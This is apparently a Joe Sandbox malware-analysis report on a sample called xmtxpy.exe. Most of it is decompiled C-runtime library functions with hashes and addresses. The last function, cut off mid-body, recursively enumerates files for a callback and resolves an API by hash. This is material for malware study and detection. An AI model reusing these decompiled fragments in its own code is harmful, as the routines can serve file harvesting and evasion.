Associated: 00000005.00000002.464552230.00000000008BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464566696.00000000008C2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8a0000_xmtxpy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74ec8ed11678ff3a5584b8b4ea8402eaaafd729edba2b9505761833f1e6b03f6
Instruction ID: 28bea104002c5a668ee2f95c3b8a520e3d52d72a39d127a2dfcce5072377f687
Opcode Fuzzy Hash: 74ec8ed11678ff3a5584b8b4ea8402eaaafd729edba2b9505761833f1e6b03f6
Instruction Fuzzy Hash: 47C00179651A40CFCB55CF08D294E01B7F4FB4D750B1644D1E9168B732C234E900DA11

Uniqueness

Uniqueness Score: -1.00%

Function 008AEDFA Relevance: 9.0, APIs: 6, Instructions: 41
threadCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E008AEDFA(void* __ebx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long* _t12;
				long _t14;
				void* _t19;
				void* _t21;
				void* _t25;
				long* _t26;

				E008AEFA9(_t3, __ebx, __eflags);
				if(E008B02BA() != 0) {
					_t6 = E008AFB16(0x8aeb8b);
					 *0x8be000 = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_t26 = E008B0340(1, 0x3bc);
						asm("lock pop ecx");
						_t19 = _t25;
						__eflags = _t26;
						if(_t26 == 0) {
							L7:
							E008AEE70();
							__eflags = 0;
							return 0;
						} else {
							_t12 = E008AFB72(_t19,  *0x8be000, _t26);
							_pop(_t21);
							__eflags = _t12;
							if(__eflags == 0) {
								goto L7;
							} else {
								_push(0);
								_push(_t26);
								E008AED47(__ebx, _t21, __edi, _t26, __eflags);
								_t14 = GetCurrentThreadId();
								_t26[1] = _t26[1] | 0xffffffff;
								 *_t26 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E008AEE70();
					return 0;
				}
			}

0x008aedfa
0x008aee06
0x008aee15
0x008aee1a
0x008aee20
0x008aee23
0x00000000
0x008aee25
0x008aee32
0x008aee33
0x008aee35
0x008aee36
0x008aee38
0x008aee67
0x008aee67
0x008aee6c
0x008aee6f
0x008aee3a
0x008aee41
0x008aee47
0x008aee48
0x008aee4a
0x00000000
0x008aee4c
0x008aee4c
0x008aee4e
0x008aee4f
0x008aee56
0x008aee5c
0x008aee60
0x008aee64
0x008aee66
0x008aee66
0x008aee4a
0x008aee38
0x008aee08
0x008aee08
0x008aee08
0x008aee0f
0x008aee0f

APIs

__init_pointers.LIBCMT ref: 008AEDFA

Part of subcall function 008AEFA9: RtlEncodePointer.NTDLL(00000000,?,008AEDFF,008AE8DA), ref: 008AEFAC
Part of subcall function 008AEFA9: __initp_misc_winsig.LIBCMT ref: 008AEFC7
Part of subcall function 008AEFA9: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 008AFC2C
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 008AFC40
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 008AFC53
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 008AFC66
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 008AFC79
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 008AFC8C
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 008AFC9F
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 008AFCB2
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 008AFCC5
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 008AFCD8
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 008AFCEB
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 008AFCFE
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 008AFD11
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 008AFD24
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 008AFD37
Part of subcall function 008AEFA9: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 008AFD4A

__mtinitlocks.LIBCMT ref: 008AEDFF
__mtterm.LIBCMT ref: 008AEE08

Part of subcall function 008AEE70: DeleteCriticalSection.KERNEL32(?,?,?,?,008AEE6C), ref: 008B01D4
Part of subcall function 008AEE70: _free.LIBCMT ref: 008B01DB
Part of subcall function 008AEE70: DeleteCriticalSection.KERNEL32(008BE050,?,?,008AEE6C), ref: 008B01FD

__calloc_crt.LIBCMT ref: 008AEE2D
__initptd.LIBCMT ref: 008AEE4F
GetCurrentThreadId.KERNEL32(008AE8DA), ref: 008AEE56

Memory Dump Source

Source File: 00000005.00000002.464471170.00000000008A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000005.00000002.464447223.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464539472.00000000008B9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464552230.00000000008BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464566696.00000000008C2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8a0000_xmtxpy.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: ea20bad41eda4547a5248adeb01d1754c579a6268649fc2e0c3d880b6d440346
Instruction ID: 5818addd167e8e74cf8e56be3865739bf0e1a63963f318d768295572e4e5bb10
Opcode Fuzzy Hash: ea20bad41eda4547a5248adeb01d1754c579a6268649fc2e0c3d880b6d440346
Instruction Fuzzy Hash: 0FF0B432245B111AF6243B7CBC1B74B3681FB03730F200E29F161D99E2EF2094124552

Uniqueness

Uniqueness Score: -1.00%

Function 008AEE8D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 16%

			E008AEE8D(void* __ecx, intOrPtr _a4) {
				struct HINSTANCE__* _v8;
				_Unknown_base(*)()* _t4;

				_t4 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t4, __ecx);
				if(_t4 != 0) {
					_t4 = GetProcAddress(_v8, "CorExitProcess");
					if(_t4 != 0) {
						return  *_t4(_a4);
					}
				}
				return _t4;
			}

0x008aee91
0x008aee9c
0x008aeea4
0x008aeeae
0x008aeeb6
0x00000000
0x008aeebb
0x008aeeb6
0x008aeec0

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,008AEECC,00000000,?,008B23C4,000000FF,0000001E,00000000,00000000,00000000,?,008B039E), ref: 008AEE9C
GetProcAddress.KERNEL32(?,CorExitProcess,?,?,008AEECC,00000000,?,008B23C4,000000FF,0000001E,00000000,00000000,00000000,?,008B039E,00000000), ref: 008AEEAE

Strings

mscoree.dll, xrefs: 008AEE95
CorExitProcess, xrefs: 008AEEA6

Memory Dump Source

Source File: 00000005.00000002.464471170.00000000008A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000005.00000002.464447223.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464539472.00000000008B9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464552230.00000000008BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464566696.00000000008C2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8a0000_xmtxpy.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 249d69c3c2c87243973d28c7d34586873538a97f8847c1984ca131c15fd21474
Instruction ID: db02c1f7bbd13a958da40bc1a58c1b6aab34935f565b77e06af8b5886e02d989
Opcode Fuzzy Hash: 249d69c3c2c87243973d28c7d34586873538a97f8847c1984ca131c15fd21474
Instruction Fuzzy Hash: 44D01230A44208BBDB115B91DC05F9A776DFB01741F040564FE58D5590DB719A149650

Uniqueness

Uniqueness Score: -1.00%

Function 008B458A Relevance: 6.1, APIs: 4, Instructions: 97
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E008B458A(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				int _v20;
				int _t35;
				int _t38;
				intOrPtr* _t44;
				int _t47;
				short* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				int _t55;
				int _t59;
				char* _t62;

				_t62 = _a8;
				if(_t62 == 0) {
					L5:
					return 0;
				}
				_t50 = _a12;
				if(_t50 == 0) {
					goto L5;
				}
				if( *_t62 != 0) {
					E008B0791( &_v20, _a16);
					_t35 = _v20;
					__eflags =  *(_t35 + 0xa8);
					if( *(_t35 + 0xa8) != 0) {
						_t38 = E008B44CC( *_t62 & 0x000000ff,  &_v20);
						__eflags = _t38;
						if(_t38 == 0) {
							__eflags = _a4;
							_t59 = 1;
							__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t62, 1, _a4, 0 | _a4 != 0x00000000);
							if(__eflags != 0) {
								L21:
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t31 = _t54 + 0x70;
									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t31;
								}
								return _t59;
							}
							L20:
							_t44 = E008B10B7(__eflags);
							_t59 = _t59 | 0xffffffff;
							__eflags = _t59;
							 *_t44 = 0x2a;
							goto L21;
						}
						_t59 = _v20;
						__eflags =  *(_t59 + 0x74) - 1;
						if( *(_t59 + 0x74) <= 1) {
							L15:
							__eflags = _t50 -  *(_t59 + 0x74);
							L16:
							if(__eflags < 0) {
								goto L20;
							}
							__eflags = _t62[1];
							if(__eflags == 0) {
								goto L20;
							}
							L18:
							_t59 =  *(_t59 + 0x74);
							goto L21;
						}
						__eflags = _t50 -  *(_t59 + 0x74);
						if(__eflags < 0) {
							goto L16;
						}
						__eflags = _a4;
						_t47 = MultiByteToWideChar( *(_t59 + 4), 9, _t62,  *(_t59 + 0x74), _a4, 0 | _a4 != 0x00000000);
						_t59 = _v20;
						__eflags = _t47;
						if(_t47 != 0) {
							goto L18;
						}
						goto L15;
					}
					_t55 = _a4;
					__eflags = _t55;
					if(_t55 != 0) {
						 *_t55 =  *_t62 & 0x000000ff;
					}
					_t59 = 1;
					goto L21;
				}
				_t49 = _a4;
				if(_t49 != 0) {
					 *_t49 = 0;
				}
				goto L5;
			}

0x008b4592
0x008b4597
0x008b45b1
0x00000000
0x008b45b1
0x008b4599
0x008b459e
0x00000000
0x00000000
0x008b45a3
0x008b45c0
0x008b45c5
0x008b45c8
0x008b45cf
0x008b45ee
0x008b45f5
0x008b45f7
0x008b463b
0x008b464a
0x008b4658
0x008b465a
0x008b466a
0x008b466a
0x008b466e
0x008b4670
0x008b4673
0x008b4673
0x008b4673
0x008b4673
0x00000000
0x008b4679
0x008b465c
0x008b465c
0x008b4661
0x008b4661
0x008b4664
0x00000000
0x008b4664
0x008b45f9
0x008b45fc
0x008b4600
0x008b4629
0x008b4629
0x008b462c
0x008b462c
0x00000000
0x00000000
0x008b462e
0x008b4632
0x00000000
0x00000000
0x008b4634
0x008b4634
0x00000000
0x008b4634
0x008b4602
0x008b4605
0x00000000
0x00000000
0x008b4609
0x008b461c
0x008b4622
0x008b4625
0x008b4627
0x00000000
0x00000000
0x00000000
0x008b4627
0x008b45d1
0x008b45d4
0x008b45d6
0x008b45db
0x008b45db
0x008b45e0
0x00000000
0x008b45e0
0x008b45a5
0x008b45aa
0x008b45ae
0x008b45ae
0x00000000

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 008B45C0
__isleadbyte_l.LIBCMT ref: 008B45EE
MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,00000001,?,00000000), ref: 008B461C
MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,00000001,?,00000000), ref: 008B4652

Memory Dump Source

Source File: 00000005.00000002.464471170.00000000008A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000005.00000002.464447223.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464539472.00000000008B9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464552230.00000000008BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464566696.00000000008C2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8a0000_xmtxpy.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 6b240b56edede272b571c86c1ffde9a1f4641c8eee282ae4ba3bd2cf56c8d29b
Instruction ID: b94b253cd542ed38b82e61e7192ea3bbd12b33aa9e81b9c686609f39ed242f49
Opcode Fuzzy Hash: 6b240b56edede272b571c86c1ffde9a1f4641c8eee282ae4ba3bd2cf56c8d29b
Instruction Fuzzy Hash: 3D31D03060065AAFEB218F79CC46BFA7BB5FF42350F155529E864C72A2E730E854DB90

Uniqueness

Uniqueness Score: -1.00%

Function 008B2429 Relevance: 6.1, APIs: 4, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 96%

			E008B2429(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t20;
				long _t31;

				if(_a4 != 0) {
					_t31 = _a8;
					__eflags = _t31;
					if(_t31 != 0) {
						_push(__ebx);
						while(1) {
							__eflags = _t31 - 0xffffffe0;
							if(_t31 > 0xffffffe0) {
								break;
							}
							__eflags = _t31;
							if(_t31 == 0) {
								_t31 = _t31 + 1;
								__eflags = _t31;
							}
							_t7 = HeapReAlloc( *0x8bf100, 0, _a4, _t31);
							_t20 = _t7;
							__eflags = _t20;
							if(_t20 != 0) {
								L17:
								_t8 = _t20;
							} else {
								__eflags =  *0x8bff38 - _t7;
								if(__eflags == 0) {
									_t9 = E008B10B7(__eflags);
									 *_t9 = E008B10CA(GetLastError());
									goto L17;
								} else {
									__eflags = E008B13B0(_t7, _t31);
									if(__eflags == 0) {
										_t12 = E008B10B7(__eflags);
										 *_t12 = E008B10CA(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E008B13B0(_t6, _t31);
						 *((intOrPtr*)(E008B10B7(__eflags))) = 0xc;
						goto L12;
					} else {
						E008B0308(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E008B2397(__ebx, __edx, __edi, _a8);
				}
			}

0x008b2430
0x008b243e
0x008b2441
0x008b2443
0x008b2452
0x008b2485
0x008b2485
0x008b2488
0x00000000
0x00000000
0x008b2455
0x008b2457
0x008b2459
0x008b2459
0x008b2459
0x008b2466
0x008b246c
0x008b246e
0x008b2470
0x008b24d0
0x008b24d0
0x008b2472
0x008b2472
0x008b2478
0x008b24ba
0x008b24ce
0x00000000
0x008b247a
0x008b2481
0x008b2483
0x008b24a2
0x008b24b6
0x008b249c
0x008b249c
0x008b249c
0x00000000
0x00000000
0x00000000
0x008b2483
0x008b2478
0x00000000
0x008b249e
0x008b248b
0x008b2496
0x00000000
0x008b2445
0x008b2448
0x008b244e
0x008b244e
0x008b249f
0x008b24a1
0x008b2432
0x008b243c
0x008b243c

APIs

_free.LIBCMT ref: 008B2448

Part of subcall function 008B2397: __FF_MSGBANNER.LIBCMT ref: 008B23AE
Part of subcall function 008B2397: __NMSG_WRITE.LIBCMT ref: 008B23B5
Part of subcall function 008B2397: RtlAllocateHeap.NTDLL(004F0000,00000000,00000001,00000000,00000000,00000000,?,008B039E,00000000,00000000,00000000,00000000,?,008B0253,00000018,008BCE98), ref: 008B23DA

Memory Dump Source

Source File: 00000005.00000002.464471170.00000000008A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000005.00000002.464447223.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464539472.00000000008B9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464552230.00000000008BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464566696.00000000008C2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8a0000_xmtxpy.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 02115ea06127abb5c6a41f910a8904db0b355bb0f958777a09a344ef4b836d10
Instruction ID: f0aa836b5b536b0d6639989ecb9ac4590cd3c53bf8cec690e951bc032c7541af
Opcode Fuzzy Hash: 02115ea06127abb5c6a41f910a8904db0b355bb0f958777a09a344ef4b836d10
Instruction Fuzzy Hash: 22110632500A15EFCF203F78AC08BDA37D8FF14364F104625FA48DEBA1EA3588818699

Uniqueness

Uniqueness Score: -1.00%

Function 008B5DFD Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E008B5DFD(void* __edx, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E008B634E(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E008B5E83(_a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E008B65C9(__edx, __esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E008B6508(__edx, __esi, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x008b5e00
0x008b5e06
0x008b5e79
0x00000000
0x008b5e0d
0x008b5e0d
0x008b5e10
0x008b5e2b
0x008b5e2e
0x008b5e4e
0x008b5e60
0x008b5e30
0x008b5e30
0x008b5e33
0x00000000
0x008b5e35
0x008b5e47
0x008b5e47
0x008b5e33
0x008b5e7e
0x008b5e82
0x008b5e12
0x008b5e2a
0x008b5e2a
0x008b5e10

APIs

__cftof_l.LIBCMT ref: 008B5E21

Part of subcall function 008B6508: __fltout2.LIBCMT ref: 008B6531

__cftog_l.LIBCMT ref: 008B5E47
__cftoe_l.LIBCMT ref: 008B5E79

Memory Dump Source

Source File: 00000005.00000002.464471170.00000000008A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000005.00000002.464447223.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464539472.00000000008B9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464552230.00000000008BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464566696.00000000008C2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8a0000_xmtxpy.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 52323a7aeb8314376a3117bedf4e11b5d1e225a609a33d4a0d7b72315e6ec6a5
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 8201087240054EBBCF225E98CC41DEE3F66FB1C354B598415FA1899235D336DAB1AB82

Uniqueness

Uniqueness Score: -1.00%

Function 008A2AC1 Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008A2AC1(void* __eax, void* __esi) {
				intOrPtr _t8;
				void* _t17;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;

				_t17 = __esi + 1;
				_t20 = __eax + 1 -  *0x8bed30; // 0x8bfc08
				if(_t20 != 0) {
					E008B0308(_t5);
				}
				_t21 =  *((intOrPtr*)(_t17 + 0x44)) -  *0x8bed34; // 0x8bfc08
				if(_t21 != 0) {
					E008B0308(_t6);
				}
				_t22 =  *((intOrPtr*)(_t17 + 0x48)) -  *0x8bed38; // 0x8bfc08
				if(_t22 != 0) {
					E008B0308(_t7);
				}
				_t8 =  *((intOrPtr*)(_t17 + 0x4c));
				_t23 = _t8 -  *0x8bed3c; // 0x8bfc08
				if(_t23 != 0) {
					_t8 = E008B0308(_t8);
				}
				return _t8;
			}

0x008b2600
0x008b2602
0x008b2608
0x008b260b
0x008b2610
0x008b2614
0x008b261a
0x008b261d
0x008b2622
0x008b2626
0x008b262c
0x008b262f
0x008b2634
0x008b2635
0x008b2638
0x008b263e
0x008b2641
0x008b2646
0x008b2649

APIs

_free.LIBCMT ref: 008B260B

Part of subcall function 008B0308: HeapFree.KERNEL32(00000000,00000000), ref: 008B031C
Part of subcall function 008B0308: GetLastError.KERNEL32(00000000,?,008AED38,00000000,008B10BC,008B7791,00000000,?,008B688D,00000000,00010000,00030000,?,008B4AE7), ref: 008B032E

_free.LIBCMT ref: 008B261D
_free.LIBCMT ref: 008B262F
_free.LIBCMT ref: 008B2641

Memory Dump Source

Source File: 00000005.00000002.464471170.00000000008A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000005.00000002.464447223.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464539472.00000000008B9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464552230.00000000008BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464566696.00000000008C2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8a0000_xmtxpy.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 25b42ed8889a5afab1f3351924d049d24a8b292386ec0a623a96f03d2346be71
Instruction ID: 43e15a15d5b96cb2ff248fd7215bf6be304855f98b2f329056588cc4e60cfb3e
Opcode Fuzzy Hash: 25b42ed8889a5afab1f3351924d049d24a8b292386ec0a623a96f03d2346be71
Instruction Fuzzy Hash: 33E092321952149FD614EBACF9CA8DB33ECF6193107740C05F085C7320D625F8804B25

Uniqueness

Uniqueness Score: -1.00%

Function 008A592D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
windowCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E008A592D(intOrPtr* __eax, void* __edx, void* __edi, void* __esi) {
				signed int _v4;
				signed int _t7;
				void* _t8;
				void* _t10;
				void* _t11;
				void* _t18;
				void* _t19;
				void* _t20;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t29;
				signed int _t31;
				void* _t35;
				void* _t36;

				_t25 = __edi;
				_t24 = __edx;
				 *__eax =  *__eax + __eax;
				_t36 = _t35 + 0xc;
				if(__eax != 0) {
					L9:
					_push(_t19);
					_push(_t19);
					_push(_t19);
					_push(_t19);
					_push(_t19);
					E008B1058(_t19, _t24);
					asm("int3");
					_push(_t31);
					_t7 = _v4;
					 *0x8bf418 = _t7;
					return _t7;
				} else {
					_t8 = E008B193E(0x8bf452);
					_pop(_t21);
					if(_t8 + 1 <= 0x3c) {
						L4:
						_t10 = E008B19EB(0x8bf420, 0x314, L"\n\n");
						_t36 = _t36 + 0xc;
						if(_t10 != 0) {
							goto L9;
						} else {
							_t11 = E008B19EB(0x8bf420, 0x314, _t25);
							_t36 = _t36 + 0xc;
							_t43 = _t11;
							if(_t11 != 0) {
								goto L9;
							} else {
								E008B1B15(_t21, _t24, _t43, 0x8bf420, L"Microsoft Visual C++ Runtime Library", 0x12010);
								_pop(_t20);
								_pop(_t26);
								_pop(_t29);
								return E008B1CFB(_t20, _v4 ^ _t31, _t24, _t26, _t29);
							}
						}
					} else {
						_t21 = 0x8bf3dc + E008B193E(0x8bf452) * 2;
						_t18 = E008B1A57(0x8bf3dc + E008B193E(0x8bf452) * 2, __esi - (0x8bf3dc + E008B193E(0x8bf452) * 2 - 0x8bf452 >> 1), L"...", 3);
						_t36 = _t36 + 0x14;
						if(_t18 != 0) {
							goto L9;
						} else {
							goto L4;
						}
					}
				}
			}

0x008a592d
0x008a592d
0x008af882
0x008af884
0x008af889
0x008af985
0x008af985
0x008af986
0x008af987
0x008af988
0x008af989
0x008af98a
0x008af98f
0x008af990
0x008af993
0x008af996
0x008af99c
0x008af88f
0x008af894
0x008af89a
0x008af89e
0x008af8d5
0x008af8e5
0x008af8ea
0x008af8ef
0x00000000
0x008af8f5
0x008af8fc
0x008af901
0x008af904
0x008af906
0x00000000
0x008af908
0x008af913
0x008af974
0x008af978
0x008af97b
0x008af984
0x008af984
0x008af906
0x008af8a0
0x008af8b1
0x008af8c5
0x008af8ca
0x008af8cf
0x00000000
0x00000000
0x00000000
0x00000000
0x008af8cf
0x008af89e

APIs

___crtMessageBoxW.LIBCMT ref: 008AF913
__invoke_watson.LIBCMT ref: 008AF98A

Strings

..., xrefs: 008AF8AC
Microsoft Visual C++ Runtime Library, xrefs: 008AF90D

Memory Dump Source

Source File: 00000005.00000002.464471170.00000000008A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000005.00000002.464447223.00000000008A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464539472.00000000008B9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464552230.00000000008BE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.464566696.00000000008C2000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8a0000_xmtxpy.jbxd

Similarity

API ID: Message___crt__invoke_watson
String ID: ...$Microsoft Visual C++ Runtime Library
API String ID: 1560407238-1400160072
Opcode ID: 9079c4aea4a7d55a3d4ba95c012d5d2649afd720f8422bc88494445431a5c4fa
Instruction ID: 2a786292ba2e1302313ff6bfd6ff2c13696f24582b93c1c4ab7a77e6bb9970a0
Opcode Fuzzy Hash: 9079c4aea4a7d55a3d4ba95c012d5d2649afd720f8422bc88494445431a5c4fa
Instruction Fuzzy Hash: 0201D411B5020122EA2126B92D2BBEF5F58FB1B714B880135FF15E9B83F9459B188096

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: xmtxpy.exePID: 2556, Parent PID: 2260COMMON

Execution Graph

Execution Coverage:	19%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1246
Total number of Limit Nodes:	99

Executed Functions

Function 00403D74 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00403D74(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				struct _WIN32_FIND_DATAW _v596;
				void* __ebx;
				void* _t35;
				int _t43;
				void* _t52;
				int _t56;
				intOrPtr _t60;
				void* _t66;
				void* _t73;
				void* _t74;
				WCHAR* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				WCHAR* _t102;
				void* _t103;
				void* _t104;

				L004067C4(0xa); // executed
				_t72 = 0;
				_t100 = 0x2e;
				_t106 = _a16;
				if(_a16 == 0) {
					L15:
					_push(_a8);
					_t98 = E00405B6F(0, L"%s\\%s", _a4);
					_t104 = _t103 + 0xc;
					if(_t98 == 0) {
						L30:
						__eflags = 0;
						return 0;
					}
					E004031E5(_t72, _t72, 0xd4f4acea, _t72, _t72);
					_t35 = FindFirstFileW(_t98,  &_v596); // executed
					_t73 = _t35;
					if(_t73 == 0xffffffff) {
						L29:
						E00402BAB(_t98);
						goto L30;
					}
					L17:
					while(1) {
						if(E00405D24( &(_v596.cFileName)) >= 3 || _v596.cFileName != _t100) {
							if(_v596.dwFileAttributes != 0x10) {
								L21:
								_push( &(_v596.cFileName));
								_t101 = E00405B6F(_t124, L"%s\\%s", _a4);
								_t104 = _t104 + 0xc;
								if(_t101 == 0) {
									goto L24;
								}
								if(_a12 == 0) {
									E00402BAB(_t98);
									E00403BEF(_t73);
									return _t101;
								}
								_a12(_t101);
								E00402BAB(_t101);
								goto L24;
							}
							_t124 = _a20;
							if(_a20 == 0) {
								goto L24;
							}
							goto L21;
						} else {
							L24:
